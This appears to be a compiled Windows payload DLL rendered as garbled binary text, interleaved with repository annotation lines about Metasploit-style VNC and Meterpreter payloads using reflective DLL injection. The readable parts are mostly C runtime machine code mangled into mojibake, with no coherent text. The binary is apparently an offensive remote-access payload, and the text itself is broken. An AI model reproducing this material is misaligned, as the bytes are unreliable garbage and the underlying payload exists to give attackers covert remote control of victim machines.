‹�È·Xƒà…Àt‹�Ì飀}ôt‹Eðƒ`pý‹Ã霋E胸¬~1‰]Á}�EèP‹E%ÿPèqYY…ÀtŠEjˆEüˆ]ýÆEþYëè:.Ç*3Ɉ]üÆEýA‹Eèjÿp�UøjRQ�MüQVÿp�EèPèŒpƒÄ$…À„oÿÿÿƒø¶Eøt ¶MùÁà Á€}ôt‹Mðƒapý^[ÉËÿU‹ìƒ=Ðu‹E�H¿ƒùwƒÀ ]ÃjÿuèÃþÿÿYY]ËÿU‹ì‹E…À}÷Ø]ÃW‹|$ën�¤$‹ÿ‹L$W÷ÁtŠƒÁ„Àt=÷Áuï‹ÿ‹ºÿþþ~Ѓðÿ3ƒÁ©�tè‹Aü„Àt#„ät©ÿt©ÿtëÍ�yÿë
�yþë�yýë�yü‹L$ ÷ÁtŠƒÁ„ÒtfˆƒÇ÷Áuê뉃Ǻÿþþ~‹Ѓðÿ3‹ƒÁ©�tá„Òt4„öt'÷Âÿt÷Âÿtëlj‹D$_Ãf‰‹D$ÆG_Ãf‰‹D$_È‹D$_ËÿU‹ìW¿èWÿtQÿuÿ Q�Çè�ÿ`êw…ÀtÞ_]ËÿU‹ìè2ÿuèb0ÿ5`áèšhÿÿÐƒÄ ]ËÿU‹ìh _ÿ Q…Àth�_Pÿ�P…ÀtÿuÿÐ]ËÿU‹ìÿuèÈÿÿÿYÿuÿ´PÌjèp3YÃjè�2YËÿU‹ìV‹ðë ‹…ÀtÿЃÆ;urð^]ËÿU‹ìV‹u3Àë…Àu‹…ÉtÿуÆ;u rì^]ËÿU‹ìƒ=ÔthÔè!)Y…Àt
ÿuÿÔYè£ohˆShtSè¡ÿÿÿYY…ÀuBhðÐèTÕÿÿ¸SÇ$pSècÿÿÿƒ=ØYthØèÉ(Y…Àt jjjÿØ3À]Ãjh˜£è,&jèŒ2Yƒeü3ÛC9Ì„ʼnÈŠE¢Äƒ} …�ÿ5Ìè)Y‹ø‰}Ø…ÿtxÿ5ÈèY‹ð‰u܉}ä‰uàƒî‰uÜ;÷rWèð9tí;÷rJÿ6èê‹øèÚ‰ÿ×ÿ5ÌèÔ‹øÿ5ÈèÇƒÄ 9}äu9Eàt‰}ä‰}؉Eà‹ð‰uÜ‹}ØëŸh˜S¸ŒSè_þÿÿYh S¸œSèOþÿÿYÇEüþÿÿÿèƒ}u(‰Ìjèº0Yÿuèüýÿÿ3ÛCƒ}tjè¡0YÃèR%ËÿU‹ìjjÿuèÃþÿÿƒÄ ]ËÿU‹ìjjÿuè­þÿÿƒÄ ]Ãjjjè�þÿÿƒÄ ËÿVèû‹ðVè7+VèpVè8ÖÿÿVè‹/VèîoVèÖmVèÖ'Vè##hcèMƒÄ$£`á^Ãj h¸£èw$3ö‰uä3À‹];Þ•À;Æu è[)ÇVVVVVè ×ÿÿƒÄƒÈÿéÍ3À9u •À;ÆtÔ‰]SèŸY‰uüöC @uwSèTsYƒøÿtƒøþt‹ÐÁú‹ÈƒáÁá •€ ë¹ÐíöA$u)ƒøÿtƒøþt‹ÈÁùƒàÁà�€ ë¸Ðíö@$€tèÁ(ÇVVVVVèoÖÿÿƒÄƒMäÿ9uäu#Sèfo‹ø�EPVÿu SèÈ?‰EäSWèèoƒÄÇEüþÿÿÿè ‹Eäè·#ÃÿuèLYøhááÀVj^…Àu¸ë;Æ}‹Æ£ÀjPèÄ(YY£¨ …ÀujV‰5Àè«(YY£¨ …ÀujX^Ã3Ò¹há롨 ‰ ƒÁ ƒÂ�ùèã|êjþ^3Ò¹xáW‹ÂÁø‹…€ ‹úƒçÁ狃øÿt;Æt…Àu‰1ƒÁ B�ùØá|Î_3À^Ãè¼€=Ätèrÿ5¨ èÅÖÿÿYËÿU‹ìV‹u¸há;ðr"�þÈãw‹Î+ÈÁùƒÁQèÍ.�N €Yë
ƒÆ Vÿ�Q^]ËÿU‹ì‹Eƒø}ƒÀPè .‹E �H €Y]ËE ƒÀ Pÿ�Q]ËÿU‹ì‹E¹há;Ár=Èãw�` ÿÿÿ+ÁÁøƒÀPè}-Y]ÃÀ Pÿ˜Q]ËÿU‹ì‹Mƒù‹E }�` ÿÿÿƒÁQèN-Y]ÃÀ Pÿ˜Q]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌQ�L$+ÈÀ÷Ð#È‹Ä%ðÿÿ;Èr
‹ÁY”‹‰$Ã-…ëé‹ÿU‹ìSV‹u‹F ‹È€á3Û€ùu@©t9‹FW‹>+ø…ÿ~,WPVèzpYPèwxƒÄ ;Çu‹F „Àyƒàý‰F ëƒN ƒËÿ_‹Fƒf‰^‹Ã[]ËÿU‹ìV‹u…öu Vè5Yë/Vè|ÿÿÿY…ÀtƒÈÿë÷F @tVèpPèëxY÷ØYÀë3À^]ÃjhØ£è½ 3ÿ‰}ä‰}Üjè-Y‰}ü3ö‰uà;5À�ƒ¡¨ �°98t^‹ö@ ƒtVPVè/þÿÿYY3ÒB‰Uü¡¨ ‹°‹H öÁƒt/9UuPèJÿÿÿYƒøÿtÿEäë9}uöÁtPè/ÿÿÿYƒøÿu E܉}üèFë„3ÿ‹uࡨ ÿ4°Vè8þÿÿYYÃÇEüþÿÿÿèƒ}‹Eät‹EÜè> Ãjè~+YÃjèÿÿÿYáDáƒÈ3É9Ô”Á‹ÁËÿU‹ì‹MS3Û;ËVW|[;
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
` sS‹ÁÁø‹ñ�<…€ ‹ƒæÁæÆö@t5ƒ8ÿt0ƒ=èu+ËtItIuSjôëSjõëSjöÿQ‹ƒ ÿ3Àëè[$Ç èc$‰ƒÈÿ_^[]ËÿU‹ì‹EƒøþuèG$ƒ è,$Ç ƒÈÿ]ÃV3ö;Æ|";` s‹ÈƒàÁù‹ �€ ÁàÁö@u$è$‰0èì#VVVVVÇ èšÑÿÿƒÄƒÈÿë‹^]Ãj h¤èÇ‹}‹ÇÁø‹÷ƒæÁæ4…€ ÇEä3Û9^u6j
è+Y‰]ü9^uh �F PèçiYY…Àu‰]äÿFÇEüþÿÿÿè09]ät‹ÇÁøƒçÁç‹…€ �D8 Pÿ�Q‹Eäè‡Ã3Û‹}j
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
èÂ)YËÿU‹ì‹E‹ÈƒàÁù‹ �€ Áà�D Pÿ˜Q]ËÿU‹ìSV‹uW3ÿƒËÿ;÷uèï"WWWWWÇè�ÐÿÿƒÄ ÃëBöF ƒt7VèWüÿÿV‹Øè'xVè÷lPèNwƒÄ…À}ƒËÿë‹F;Çt
PèÖÑÿÿY‰~‰~ ‹Ã_^[]Ãj h ¤è‰ƒMäÿ3À‹u3ÿ;÷•À;Çuèl"ÇWWWWWèÐÿÿƒÄƒÈÿë öF @t ‰~ ‹EäèŒÃVè°úÿÿY‰}üVè*ÿÿÿY‰EäÇEüþÿÿÿèëÕ‹uVèþúÿÿYÃÌÌÌÌÌ‹L$ W…É„·‹|$V÷ÇStŠƒÇ„Àt9÷Çuÿþþ~Ѓðÿ3ƒÇ©�tè‹Gü„Àt!„ät©ÿt ©ÿuσïë
ƒïëƒïëƒï‹t$÷Æu ‹ÙÁéu\ë"ŠƒÆ„Òt=ˆƒÇƒét)÷Æuå‹ÙÁéu8‹ËƒátŠƒÆˆƒÇ„Òtƒéuíˆ[^‹D$_È‹D$[^_ɃǃétȺÿþþ~‹Ѓðÿ3‹ƒÆ©�tÜ„Òt΄öt*÷Âÿt÷Âÿuĉ‹D$[^_Ãf‰3Ò‹D$ˆW[^_Ãf‰‹D$[^_ÃÌÌÌÌÌÌÌÌÌÌÌ‹L$ W…É„’VS‹Ù‹t$÷Æ‹|$u Áé……ë'ŠƒÆˆƒÇƒét+„Àt/÷Æuå‹ÙÁéuaƒãtŠƒÆˆƒÇ„Àt7ƒëuí‹D$[^_Ã÷ÇtˆƒÇƒé„˜÷Çuê‹ÙÁéutˆƒÇƒëuö[^‹D$_ɃǃétŸºÿþþ~‹Ѓðÿ3‹ƒÆ©�tÜ„Òt,„öt÷Âÿt ÷Âÿuĉë�âÿÿ‰ë�âÿ‰ë3Ò‰ƒÇ3Àƒét 3À‰ƒÇƒéuöƒã…wÿÿÿ‹D$[^_ÃÌÌÌÌÌÌÌÌÌÌÌÌWVS3ÿ‹D$ À}G‹T$÷Ø÷ڃ؉D$‰T$‹D$ À}G‹T$÷Ø÷ڃ؉D$‰T$ Àu‹L$‹D$3Ò÷ñ‹Ø‹D$÷ñ‹ÓëA‹Ø‹L$‹T$‹D$ÑëÑÙÑêÑØ Ûuô÷ñ‹ð÷d$‹È‹D$÷æÑr;T$wr;D$vN3Ò‹ÆOu÷Ú÷؃Ú[^_‹ÿU‹ì3À9E uPjPë hPÿu ÿuègtƒÄ]ËÿU‹ì‹E VWƒøu|Pè1Y…Àu3Àéè'…Àuè11ëéèbbÿQ£¤ èMx£Üèf…À}è ëÏèxw…À| è÷t…À|jè¡òÿÿY…Àu ÿØé¨è0hëÉ3ÿ;Çu19=Ø~�ÿ
Ø9=ÈuèFôÿÿ9}u{èhè>è 0ëjƒøuYèÜhjè„‹ðYY;÷„6ÿÿÿVÿ5äÿ5üèYÿÐ…ÀtWVè2YYÿ`QƒNÿ‰ëVèëÌÿÿYéúþÿÿƒøuWè´Y3À@_^] j h@¤è‘‹ù‹ò‹]3À@‰Eä…öu 9Ø„Ńeü;ðtƒþu.¡¸_…ÀtWVSÿЉEäƒ}ä„–WVSèrþÿÿ‰Eä…À„ƒWVSè©ÿÿ‰Eäƒþu$…Àu WPSèó¨ÿÿWjSèBþÿÿ¡¸_…ÀtWjSÿÐ…ötƒþu&WVSè"þÿÿ…Àu!Eäƒ}ät¡¸_…ÀtWVSÿЉEäÇEüþÿÿÿ‹Eäë‹Eì‹‹ PQèVYYËeèÇEüþÿÿÿ3ÀèíËÿU‹ìƒ} uè�wÿu‹M‹U èìþÿÿY] jh`¤èx‹]…Ûuÿu èÒÊÿÿYéÌ‹u …öu Sè‰ËÿÿYé·ƒ=„ …“3ÿ‰}äƒþà‡Šjè•#Y‰}üSè¾#Y‰Eà;Ç„ž;5� wIVSPè (ƒÄ …Àt‰]äë5Vèo+Y‰Eä;Çt'‹CüH;Ær‹ÆPSÿuäè¦ËÿÿSèn#‰EàSPè”#ƒÄ9}äuH;÷u3öF‰u ƒÆƒæð‰u VWÿ5¬ÿ,Q‰Eä;Çt ‹CüH;Ær‹ÆPSÿuäèRËÿÿSÿuàèG#ƒÄÇEüþÿÿÿè.ƒ}àu1…öuFƒÆƒæð‰u VSjÿ5¬ÿQ‹øë‹u ‹]jèÆ!YË}ä…ÿ…¿9=°t,Vè£Y…À…Òþÿÿè 9}àul‹ðÿŒQPè·Y‰ë_…ÿ…ƒèç9}àthÇ ëq…öuFVSjÿ5¬ÿQ‹ø…ÿuV9°t4Vè:Y…ÀtƒþàvÍVè*Yè›Ç 3Àè×Ãèˆé|ÿÿÿ…ÿuèz‹ðÿŒQPè*‰Y‹ÇëÒj h€¤è]jè½!Yƒeü‹u‹N…Ét/¡ðºì‰Eä…Àt9u,‹H‰JPèYÉÿÿYÿvèPÉÿÿYƒfÇEüþÿÿÿè
èLËÐëÅjèˆ YËÿU‹ìV�EP‹ñèZÅÿÿÇÄ_‹Æ^]ÂÇÄ_éÆÿÿ‹ÿU‹ìV‹ñÇÄ_èüÅÿÿöEtVèo¿ÿÿY‹Æ^]‹ÿU‹ìVW‹}‹G…ÀtG�P€:t?‹u ‹N;ÁtƒÁQRèxéÿÿYY…Àt3Àë$ötötò‹E‹¨tötä¨tötÛ3À@_^]ËÿU‹ì‹E‹‹=MOCàt=csmàu+è�é'èÞƒ¸�~ èÐ�ÿ3À]Ãjh ¤èõ‹}‹]�€¾së‹s‰uäè™�ÿƒeü;uteƒþÿ~;w|è
‹ÆÁà‹OÈ‹1‰uàÇEüƒyt‰shS‹Oÿtè1ƒeüëÿuìè-ÿÿÿYËeèƒeü‹}‹]‹uà‰uäë–ÇEüþÿÿÿè;ut螉sè‡Ë]‹uäèú
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ƒ¸�~ èì
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
�ÿË�8csmàu8ƒxu2‹H�ù “t�ù!“t�ù"“uƒxuè®
3ÉA‰ˆ ‹ÁÃ3ÀÃjhȤèÏ‹M…Ét*�9csmàu"‹A…Àt‹@…ÀtƒeüPÿqèÞ¸ÿÿÇEüþÿÿÿèÞÃ3À8E •ÀËeèè�Ì‹ÿU‹ì‹M ‹V‹uƃy|‹Q‹I‹42‹ ÊÁ^]ËÿU‹ìƒì …ÿu
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
è èOƒeøƒ?ÆEÿ~SSV‹E‹@‹@ ‹�p…Û~3‹EøÁà‰Eô‹Mÿq‹P‹GEôPè_ýÿÿƒÄ …Àu
KƒÆ…ÛÜëÆEÿÿEø‹Eø;|±^[ŠEÿÉÃj¸“Iè¼ÿÿè• ƒ¸”tèƒeüèûƒMüÿè¹èp ‹Mjj‰ˆ”è·ÿÿÌj,h@¥è�‹Ù‹} ‹u‰]äƒeÌ‹Gü‰EÜÿv�EÄPèTºÿÿYY‰EØè& ‹€ˆ‰EÔè ‹€Œ‰EÐè
‰°ˆèÿ ‹M‰ˆŒƒeü3À@‰E‰EüÿuÿuSÿuW袺ÿÿƒÄ‰Eäƒeüëo‹EìèáýÿÿËeèè¼ ƒ  ‹u‹} �~€¾Oë‹O‹^ƒeà‹Eà;F skÀËP;Ê~@;H;‹F‹LÐQVjWè§üÿÿƒÄƒeäƒeü‹uÇEüþÿÿÿÇEè‹EäèÄÃÿEà맋} ‹u‹E܉GüÿuØè ¹ÿÿYè# ‹MÔ‰ˆˆè ‹MЉˆŒ�>csmàuBƒ~u<‹F= “t=!“t="“u$ƒ}Ìuƒ}ätÿvè"¹ÿÿY…Àt ÿuVè%ýÿÿYYÃj hh¥èñ3Ò‰Uä‹E‹H;Ê„X8Q„O‹H;Êu ÷€„<‹‹u …Àx�t1 ‰Uü3ÛCS¨tA‹}ÿwè‚qYY…À„òSVèqqYY…À„á‹G‰‹MƒÁQPèìüÿÿYY‰éË‹}‹Eÿp„tHè:qYY…À„ªSVè)qYY…À„™ÿw‹EÿpVè ÉÿÿƒÄ ƒ…‚‹…Àt|ƒÇWëœ9Wu8èípYY…ÀtaSVèàpYY…ÀtTÿwƒÇW‹Eÿpè_üÿÿYYPVè¸ÈÿÿƒÄ ë9èµpYY…Àt)SVè¨pYY…ÀtÿwèšpY…ÀtöjX•À@‰Eäëèò ÇEüþÿÿÿ‹Eäë3À@ËeèèŽ 3ÀèÄÃjhˆ¥èr‹E÷€t‹] ë
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
‹H‹U �\ ƒeü‹uVPÿu ‹}WèFþÿÿƒÄHtHu4j�FPÿwè¦ûÿÿYYPÿvSèY´ÿÿë�FPÿwèŒûÿÿYYPÿvSè?´ÿÿÇEüþÿÿÿè?Ã3À@Ëeèèõ Ì‹ÿU‹ìƒ}tÿuSVÿuèVÿÿÿƒÄƒ} ÿuuVëÿu èý³ÿÿÿ7ÿuÿuVè®ùÿÿ‹Ghÿu@ÿu‰Fÿu ‹K VÿuèõûÿÿƒÄ(…ÀtVP至ÿÿ]ËÿU‹ìQQV‹u�>€„ÚWè%ƒ¸€t?è�¸€èz9t+�>MOCàt#ÿu$ÿu ÿuÿuÿuÿu Vè!´ÿÿƒÄ…À…‹‹}ƒ uè_ ‹u�EøP�EüPVÿu Wèiµÿÿ‹ø‹EüƒÄ;Eøs[S;7|G;wB‹G ‹OÁàÁ‹Hô…Ét€yu*�Xðö@u"ÿu$‹u ÿu jÿuÿuÿuÿuè·þÿÿ‹uƒÄÿEü‹EüƒÇ;Eør§[_^ÉËÿU‹ìƒì,‹M S‹]‹C=€VWÆEÿ¾Ië‹Iƒùÿ‰Mø|;È|è¥
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹u¿csmà9>…ºƒ~» “…‹F;Ãt=!“t ="“…ÿƒ~…õè΃¸ˆ„µè¼‹°ˆ‰u讋€ŒjV‰Eè¼mYY…Àuè"
9>u&ƒ~u ‹F;Ãt=!“t="“u ƒ~uèø ècƒ¸”t|èU‹¸”èJÿu3ö‰°”èùÿÿY„ÀuO3Û9~‹G‹LhøãèA±ÿÿ„Àu
FƒÃ;7|ãèQ jÿuèdøÿÿYYhÌ_�MÔè7öÿÿh¤¥�EÔP茰ÿÿ‹u¿csmà9>…ˆƒ~…~‹F;Ãt=!“t ="“…e‹}ƒ †¿�EäP�EðPÿuøÿu WèA³ÿÿƒÄ‹ø‹Eð;E䃗‹Eø9��;G|‹G‰Eô‹G ‰Eè…À~l‹F‹@ �X‹‰Eì…À~#ÿv‹Pÿuô‰EàèÑõÿÿƒÄ …ÀuÿMìƒÃ9EìÝÿMèƒEôƒ}è¾ë(ÿu$‹]ôÿu ÆEÿÿuàÿuÿuÿuV‹u èKüÿÿ‹uƒÄÿEðƒÇé]ÿÿÿ‹}€}t
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
jVè:÷ÿÿYY€}ÿ…®‹%ÿÿÿ=!“‚œ‹…ÿ„‘Vè‰÷ÿÿY„À…‚èœè—è’‰°ˆè‡ƒ}$‹M‰ˆŒVuÿu ëÿu$èæ¯ÿÿ‹ujÿVÿuÿu è”õÿÿƒÄÿvè¨÷ÿÿ‹]ƒ{ v&€}…)þÿÿÿu$ÿu ÿuøSÿuÿuÿu VèàûÿÿƒÄ 胸”tèœ_^[ÉËÿU‹ìVÿu‹ñèºÿÿÇÄ_‹Æ^]‹ÿU‹ìSVWè݃¸ ‹E‹M¿csmà¾ÿÿÿ»"“u ‹;×t�ú&€t‹#Ö;Ór
ö@ …“öAft#ƒx„ƒƒ}u}jÿPÿuÿu è¶ôÿÿƒÄëjƒx u‹#Ö�ú!“rXƒxtR99u2ƒyr,9Yv'‹Q‹R…Òt¶u$Vÿu ÿuPÿuÿuÿu QÿÒƒÄ ëÿu ÿuÿu$Pÿuÿuÿu QèÁûÿÿƒÄ 3À@_^[]ËÿU‹ìVÿ5ä‹5xQÿÖ…Àt!¡äƒøÿtPÿ5äÿÖÿÐ…Àt‹€øë'¾ì_Vÿ Q…Àu VèEàÿÿY…ÀthÜ_Pÿ�P…ÀtÿuÿЉE‹E^]Ãjè‡ÿÿÿYËÿU‹ìVÿ5ä‹5xQÿÖ…Àt!¡äƒøÿtPÿ5äÿÖÿÐ…Àt‹€üë'¾ì_Vÿ Q…Àu VèÊßÿÿY…Àth`Pÿ�P…ÀtÿuÿЉE‹E^]ÃÿÄP‹ÿU‹ìÿuÿ5äÿxQÿÐ]¡äËÿVÿ5äÿxQ‹ð…öuÿ5øèEÿÿÿY‹ðVÿ5äÿdQ‹Æ^ËÿU‹ìÿu ÿuÿ5üèÿÿÿYÿÐ]¡äƒøÿtPÿ5èþþÿÿYÿЃ
äÿ¡äƒøÿtPÿ Qƒ
äÿéÒj hà¥è�¾ì_Vÿ Q…ÀuVèÎÞÿÿY‰Eä‹uÇF\P`3ÿG‰~…Àt$hÜ_P‹�PÿÓ‰†øh`ÿuäÿÓ‰†ü‰~pƆÈCƆKCÇFh�çj
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
è†YƒeüÿvhÿQÇEüþÿÿÿè>j èeY‰}ü‹E ‰Fl…Àu¡˜í‰Flÿvlè½GYÇEüþÿÿÿèèÃ3ÿG‹uj
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
èMYÃj èDYËÿVWÿŒQÿ5ä‹øètþÿÿÿЋð…öuNhjè ‹ðYY…öt:Vÿ5äÿ5üè«ýÿÿYÿÐ…ÀtjVèÅþÿÿYYÿ`QƒNÿ‰ë Vè~¹ÿÿY3öWÿQ_‹Æ^ËÿVèÿÿÿ‹ð…öujè«ÝÿÿY‹Æ^Ãjh¦è‹u…ö„ø‹F$…ÀtPè1¹ÿÿY‹F,…ÀtPè#¹ÿÿY‹F4…ÀtPè¹ÿÿY‹F<…ÀtPè¹ÿÿY‹F@…ÀtPèù¸ÿÿY‹FD…ÀtPèë¸ÿÿY‹FH…ÀtPèݸÿÿY‹F\=P`tPè̸ÿÿYj
èøYƒeü‹~h…ÿtWÿQ…Àu�ÿ�çtW蟸ÿÿYÇEüþÿÿÿèWj è¿YÇEü‹~l…ÿt#Wè¯FY;=˜ít�ÿÀìt ƒ?uWè»DYÇEüþÿÿÿèVèG¸ÿÿYèS‹uj
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
èŽYËuj è‚YËÿU‹ìƒ=äÿtKƒ}u'Vÿ5ä‹5xQÿÖ…Àtÿ5äÿ5äÿÖÿЉE^jÿ5äÿ5üèàûÿÿYÿÐÿuèxþÿÿ¡äƒøÿt jPÿdQ]ËÿVW¾ì_Vÿ Q…ÀuVè¿ÛÿÿY‹ø…ÿ„^‹5�Ph8`WÿÖh,`W£ôÿÖh `W£øÿÖh`W£üÿÖƒ=ô‹5dQ£tƒ=øt
ƒ=üt…Àu$¡xQ£ø¡ QÇô±€‰5ü£ÿÄP£äƒøÿ„Ìÿ5øPÿÖ…À„»èâÝÿÿÿ5ôèhúÿÿÿ5ø£ôèXúÿÿÿ5ü£øèHúÿÿÿ5£üè8úÿÿƒÄ£èV
…Àtehâ‚ÿ5ôè’úÿÿYÿУäƒøÿtHhjèÈ‹ðYY…öt4Vÿ5äÿ5üè_úÿÿYÿÐ…ÀtjVèyûÿÿYYÿ`QƒNÿ‰3À@ëè$ûÿÿ3À_^Ãjh0¦èìè«üÿÿ‹@x…ÀtƒeüÿÐë3À@ËeèÇEüþÿÿÿè… èÃè~üÿÿ‹@|…ÀtÿÐé´ÿÿÿjhP¦è ÿ5èÐùÿÿY…ÀtƒeüÿÐë3À@ËeèÇEüþÿÿÿè}ÿÿÿÌh †è*ùÿÿY£ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒìSQ‹E ƒÀ ‰Eü‹EUÿu‹M‹müè5dVWÿÐ_^‹Ý]‹MU‹ë�ùu¹Qèd]Y[É ‹ÿU‹ì�ì(£‰
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‰‰‰5‰=üfŒ(fŒ
fŒøfŒôfŒ%ðfŒ-ìœ� ‹E£‹E£�E£$‹…àüÿÿÇ`¡£Ç ÀÇ ¡DቅØüÿÿ¡HቅÜüÿÿÿ0Q£XjèóYjÿ¸PhD`ÿ4Qƒ=XujèÏYh ÀÿTQPÿ8QÉÃÌÌh`ˆdÿ5‹D$‰l$�l$+àSVW¡Dá1Eü3ÅP‰eèÿuø‹EüÇEüþÿÿÿ‰Eø�Eðd£Ã‹Mðd‰
Y__^[‹å]QÃÌÌÌ‹ÿU‹ìƒìS‹] V‹s35DáW‹ÆEÿÇEô�{ƒøþt
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
‹NÏ3 8èX©ÿÿ‹N ‹FÏ3 8èH©ÿÿ‹Eö@f…‹M�Uè‰Sü‹[ ‰Eè‰Mìƒûþt_�I�[‹L†�D†‰Eð‹‰Eø…Ét‹×è˜`ÆEÿ…À|@G‹Eø‹Øƒøþu΀}ÿt$‹ƒøþt
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‹NÏ3 8èÕ¨ÿÿ‹N ‹VÏ3 :èŨÿÿ‹Eô_^[‹å]ÃÇEôëÉ‹M�9csmàu)ƒ=¼_t h¼_è#ƒÄ…Àt‹UjRÿ¼_ƒÄ‹M è;`‹E 9X thDáW‹Ó‹Èè>`‹E ‹Mø‰H ‹ƒøþt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹NÏ3 8èB¨ÿÿ‹N ‹VÏ3 :è2¨ÿÿ‹Eð‹H‹×èÑ_ºþÿÿÿ9S „RÿÿÿhDáW‹Ëèé_éÿÿÿÌÌÌÌ‹ÿU‹ì‹M¸MZf9t3À]ËA<Á�8PEuï3Ò¹ f9H”‹Â]ÃÌÌÌÌÌÌÌÌÌÌÌ‹ÿU‹ì‹E‹H<È·ASV·q3ÒW�D…öv‹} ‹H ;ùr ‹XÙ;ûr
BƒÀ(;Örè3À_^[]ÃÌÌÌÌÌÌÌÌÌÌÌÌ‹ÿU‹ìjþhp¦h`ˆd¡PƒìSVW¡Dá1Eø3ÅP�Eðd£‰eèÇEühè*ÿÿÿƒÄ…ÀtU‹E-PhèPÿÿÿƒÄ…Àt;‹@$Áè÷ЃàÇEüþÿÿÿ‹Mðd‰
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Y_^[‹å]ËEì‹‹3Ò=À”‹ÂËeèÇEüþÿÿÿ3À‹Mðd‰
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
Y_^[‹å]ÃËÿU‹ìQQVè÷ÿÿ‹ð…ö„F‹V\¡,äW‹}‹ÊS99t‹ØkÛ ƒÁ Ú;ËrîkÀ Â;Ès99u‹Áë3À…Àt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹X‰]ü…Ûu3Àéûƒûu ƒ`3À@éêƒû„Þ‹N`‰Mø‹M ‰N`‹Hƒù…¸‹
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ä‹=$ä‹Ñù;×}$kÉ ‹~\ƒd9‹= ä‹$äB߃Á ;Ó|â‹]ü‹‹~d=ŽÀu ÇFdƒë^=�Àu ÇFd�ëN=‘Àu ÇFd„ë>=“Àu ÇFd…ë.=�Àu ÇFd‚ë=�Àu ÇFd†ë=’ÀuÇFdŠÿvdjÿÓY‰~dëƒ`QÿÓ‹EøY‰F`ƒÈÿ[_^ÉËÿU‹ì¸csmà9Eu
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ÿu PèˆþÿÿYY]Ã3À]ËÿU‹ì‹E3É;Í0ätAƒù-rñ�Híƒùwj
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
X]ËÍ4ä]ÃDÿÿÿjY;ÈÀ#ÁƒÀ]ÃèJõÿÿ…Àu¸˜åÃÀÃè7õÿÿ…Àu¸œåÃÀ ËÿU‹ìVèâÿÿÿ‹MQ‰è‚ÿÿÿY‹ðè¼ÿÿÿ‰0^]ËÿU‹ìVW3öÿuè®ÿÿ‹øY…ÿu'9,vVÿtQ�†è;,vƒÈÿ‹ðƒøÿuÊ‹Ç_^]ËÿU‹ìVW3öjÿu ÿuè�]‹øƒÄ …ÿu'9,vVÿtQ�†è;,vƒÈÿ‹ðƒøÿuËÇ_^]ËÿU‹ìVW3öÿu ÿuè’âÿÿ‹øYY…ÿu,9E t'9,vVÿtQ�†è;,vƒÈÿ‹ðƒøÿuÁ‹Ç_^]ËÿU‹ìVW3öÿuÿu ÿuè^‹øƒÄ …ÿu,9Et'9,vVÿtQ�†è;,vƒÈÿ‹ðƒøÿu½‹Ç_^]ËÿU‹ì‹E£0]ËÿU‹ìÿ50è¦ñÿÿY…ÀtÿuÿÐY…Àt3À@]Ã3À]Ãjh�¦èGùÿÿ3À‹]3ÿ;ß•À;Çuè.þÿÿÇWWWWWèÜ«ÿÿƒÄƒÈÿëSƒ=„ u8jèqY‰}üSèšY‰Eà;Çt ‹süƒî ‰uäë‹uäÇEüþÿÿÿè%9}àuSWÿ5¬ÿüP‹ð‹ÆèùÿÿÃ3ÿ‹]‹uäjè?YËÿU‹ì‹MS3ÛVW;Ët‹} ;ûwè�ýÿÿj^‰0SSSSSè>«ÿÿƒÄ‹Æë0‹u;óuˆëÚ‹ÑŠˆBF:ÃtOuó;ûuˆèTýÿÿj"Y‰‹ñëÁ3À_^[]Ã%  ËÿU‹ì�ì(¡Dá3ʼnEüö åVtj
èYèœA…ÀtjèžAYö å„ʉ…àýÿÿ‰�Üýÿÿ‰•Øýÿÿ‰�Ôýÿÿ‰µÐýÿÿ‰½ÌýÿÿfŒ•øýÿÿfŒ�ìýÿÿfŒ�ÈýÿÿfŒ…ÄýÿÿfŒ¥ÀýÿÿfŒ­¼ýÿÿœ�…ðýÿÿ‹u�E‰…ôýÿÿÇ…0ýÿÿ‰µèýÿÿ‹@üjP‰…äýÿÿ�…ØüÿÿjPè½°ÿÿ�…ØüÿÿƒÄ ‰…(ýÿÿ�…0ýÿÿjÇ…Øüÿÿ@‰µäüÿÿ‰…,ýÿÿÿ¸P�…(ýÿÿPÿ4Qjè4ÒÿÿÌ‹ÿU‹ì‹M ¡ å‹U#U ÷Ñ#È Ê‰
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
 å]ËÿU‹ìQQS‹]VW3ö3ÿ‰}ü;ý¨åt G‰}üƒÿrîƒÿƒwjè,^Yƒø„4jè^Y…Àu
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
